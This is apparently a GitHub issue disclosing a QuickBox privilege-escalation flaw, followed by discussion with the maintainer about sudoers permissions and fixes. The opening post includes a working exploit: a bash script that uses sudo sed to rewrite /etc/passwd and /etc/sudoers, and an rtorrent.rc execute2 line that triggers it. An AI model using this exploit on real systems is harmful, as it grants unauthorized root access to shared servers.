Privilege escalation vulnerability

Root Any QuickBox Install as an Unprivileged User

Think the shared users on your QuickBox install are properly jailed? Think again! QuickBox ships with some outrageous sudo permissions and you've actually been vulnerable for some time now. Let me show you how!

How does this work?

While lshell prevents the execution of commands to a specific list, we can easily bypass this to abuse the mentioned overzealous sudo permissions, break out of lshell and grant our exploit user unrestricted sudo access.

The basis of this vulnerability is to use the execute functions built into rTorrent (and potentially Deluge). Using execute we can bypass lshell and its limitations to execute any arbitrary code at startup with sudo permissions that are granted to each and every user on any QuickBox install through the group www-data.

Now for the good shit

First we write the payload: nano ~/pwned.sh

#!/bin/bash
user=pwned
sudo sed -i 's|/home/'${user}':/usr/bin/lshell|/home/'${user}':/bin/bash|g' /etc/passwd
sudo sed -i '/root\t/a '${user}' ALL=(ALL:ALL) NOPASSWD: ALL' /etc/sudoers

Then we make rtorrent execute it when the client starts. nano ~/.rtorrent.rc and add

schedule2 = inject, 0, 0, "execute2={bash,/home/pwned/pwned.sh}"

Open a web browser, go to your QuickBox dashboard and restart rTorrent to inject your payload.

Quit and reload your SSH session.

When you log back in, your shell will now be bash and you'll have unlimited sudo permissions ;)

If you are a provider utilizing QuickBox in a shared environment with lots of users you should be very worried.

TL;DR - QuickBox gives any user part of the www-data group (hint: all of them!) unrestricted access to run any command listed in the command alias specifications for the group www-data. Sed is a particuarly fucked program to leave in this list as it allows you to make in place modifications to any file on the system. Finally, lshell is not a replacement for good security practices because we can easily bypass command restrictions by piping them through rTorrent.

Thank you for bringing this up, although, I do wish you had contacted me first and permitted time on the matter (possibly collaboration to solve the issue at hand) rather than instantly posting on Reddit this alert.

I am certainly going to look into the matter and work on a better solution.

I would also like to point out one other key importance to the QuickBox project and it's posted to the README:

qb_provider_disclaimer

I have additionally addressed this on Reddit where the vulnerability was made public:

PSA: Severe Quickbox vulnerability.

and I quote:

Just now getting this notifier as my weekend is over and ample recovery time gained!

First off, though this is a serious issue (if you're a provider selling QuickBox slots.. which I beg against...) I would like to point out the following disclaimer/notice on the QuickBox README.

Please understand that we do not want to push this project as a means to supply a commercially used product, ie; seedbox provider – so keep this in mind – only if you wish to sale slots on your server. Though it is very multi-user friendly… it is also not free of it’s faults due to it’s high amount of capabilities and being publicly available. This is a community based project that is a measure of goodwill to be given to such an outspoken and freethinking community.

Now, this doesn't mean it's something I am not going to look into, as I am already on the case this morning with some local testing. I do plan on building in a better (and actual) jailkit to maintain additional users as QuickBox Pro already has this being developed and database authentication is already in use; I know, this doesn't help the Community version and QB_Pro isn't even released outside of beta testers at the moment. I would like to express that the aim of QuickBox is not to provide a guaranteed, rock solid, multi-user solution... it's merely an added convenience.

I cannot possibly know what providers are using QuickBox, unless someone in the community reaches out to me. When I am made aware, I contact these providers and express that there may be (here's one) some pitfalls to doing so. This then becomes their responsibility to address these issues, on their own servers. Adding: If they don't know how to address such vulnerabilities, then you should seek a new more reputable provider (am I right?)

I appreciate that this has been brought to my attention and I am going to seek a solution to this vulnerability. However, QuickBox as a (the team) expresses the whole Community. QuickBox (the entity) is merely one person, me. So simmer down the pitch forks friends, I will work on finding a way to decrease the threat this presents. Although, This is something that those selling QuickBox should be alerted to, not necessarily who I built QuickBox for, people with dedicated hardware sharing with known friends and fam.

Thank you for your time and for your bringing this to light. I have began testing as this is marked critical in any case.

I don't mean to be pedantic, but you're missing the larger picture here:

https://github.com/QuickBox/QB/blob/master/setup/templates/sudoers.template#L33

This is why the vulnerability even exists in the first place and it's absolutely not needed for users of the www-data group to have these kinds of privileges. When a user executes a command on the dashboard that command is being executed directly by www-data, not the user's system account.

Without awk and sed, sure one couldn't allow themselves privlege escalation, but as long as /bin/systemctl is there (one of the only permissions actually required still), any user on the box can cause mischevious behavior, such as stopping the networking service or rebooting the server.

You also might want to consider removing NOPASSWD from the master user because this in itself can be exploited through sending execute commands (granted, with local access to the box) through the unsecurable local scgi port of the master user. Since the master user has unrestricted access and you're still using TCP sockets for rTorrent, this is another vector to be concerned about.

Also, as long as anyone can execute whatever code they please through rTorrent execute scripts, lshell is entirely useless.

I completely understand all of this @liaralabs and I genuinely appreciate your commentary on this matter. My number one concern at the moment for this Community version is to sort out the leading most issues and put a quick stop to the aforementioned vulnerabilities. Granted, there is a larger picture at play and this is merely a patch to more that can be done. Additionally, the whole use of sudoers is in need of a rewrite as my main focus originally was for that of a single user.

Many of the changes I have made to the QuickBox Pro version (which, by the way, if you would like to toy around with that, shoot me a DM)

I need to take the time to actually reorganize the installer to where it utilizes these things more appropriately and with more security. Again, security was initially for the server itself... I can't help that people are putting it up for sale and adding untrusted users, that part is on them. However, the part I AM responsible for is cleaner coding... guilty as charged.

QuickBox / QB